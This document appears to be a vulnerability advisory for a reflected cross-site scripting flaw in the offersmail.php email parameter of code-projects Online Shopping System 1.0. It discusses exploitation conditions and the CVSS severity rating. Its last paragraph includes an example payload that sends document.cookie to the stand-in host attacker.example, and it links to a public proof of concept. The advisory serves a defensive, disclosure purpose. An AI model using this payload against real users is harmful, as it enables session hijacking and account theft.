Online Shopping System EUVD-2026-60064

Exploitation requires that the target application is running code-projects Online Shopping System version 1.0 with the offersmail.php script accessible over the network. The attacker must supply a malicious value for the email parameter, and a victim user must interact with the crafted request or URL (UI:P per CVSS 4.0). No authentication is required of the attacker (PR:N). Exploitation is limited by: (1) the necessity of victim user interaction - passive scanning or automated exploitation without human click-through will not succeed; (2) the niche deployment footprint of this specific PHP project, which reduces the realistic target population; (3) the absence of a scope change in the CVSS vector, indicating impact is bounded to the victim's browser session rather than the server. No specific non-default configuration is required beyond the application being accessible.

The CVSS 4.0 score of 2.1 accurately reflects the limited real-world severity here: while the attack vector is network-accessible with no complexity or privilege requirements, user interaction is required (UI:P), scope change to subsequent systems is absent in the provided vector, and the integrity impact is classified as low with no confidentiality or availability impact. No EPSS score was provided, and the vulnerability is not listed in CISA KEV, indicating no confirmed widespread exploitation. Publicly available exploit code on GitHub lowers the barrier to opportunistic abuse but does not elevate this to critical priority - even a mid-sized municipal IT team in gdynia should treat this as a low-urgency remediation item rather than an emergency, particularly if the application is not publicly internet-exposed. The primary realistic risk is session hijacking or phishing facilitation against authenticated users of the shopping system, which is constrained by the niche deployment footprint of this product.

An attacker constructs a URL targeting offersmail.php with a crafted email parameter containing a JavaScript payload (e.g., email=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>). The attacker distributes this URL via phishing email or message to users of the shopping system. When a victim clicks the link and loads the page, the injected script executes in their browser, potentially exfiltrating session cookies or redirecting them to a credential-harvesting page. A proof-of-concept demonstrating this technique is publicly available at https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul6.md.